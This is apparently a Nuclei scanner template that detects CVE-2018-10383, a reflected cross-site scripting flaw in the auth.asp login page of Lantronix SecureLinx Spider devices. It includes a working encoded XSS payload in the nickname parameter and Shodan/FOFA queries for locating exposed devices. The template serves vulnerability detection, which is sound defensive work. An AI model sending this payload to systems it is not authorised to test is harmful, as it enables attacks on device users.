Lantronix SecureLinx Spider (SLS) 2.2+ - Cross-Site Scripting

id: CVE-2018-10383

info:
  name: Lantronix SecureLinx Spider (SLS) 2.2+ - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Lantronix SecureLinx Spider (SLS) 2.2+ devices have XSS in the auth.asp login page.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Apply the latest security patches from Lantronix or upgrade to a patched firmware version.
  reference:
    - https://github.com/grymer/CVE/blob/master/CVE-2018-10383.md
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10383
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10383
    cwe-id: CWE-79
    epss-score: 0.01912
    epss-percentile: 0.77282
    cpe: cpe:2.3:o:lantronix:securelinx_spider_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lantronix
    product: securelinx_spider_firmware
    shodan-query: title:"Lantronix"
    fofa-query: title="Lantronix"
  tags: cve,cve2018,lantronix,securelinx,sls,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "<title>Lantronix", "Lantronix, Inc")'
        internal: true

  - raw:
      - |
        GET /auth.asp?nickname=%22%3E%3Cstyle%20onload%3D%22alert(document.domain)%22%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "><style onload=\"alert(document.domain)\">")'
          - 'status_code == 200'
        condition: and
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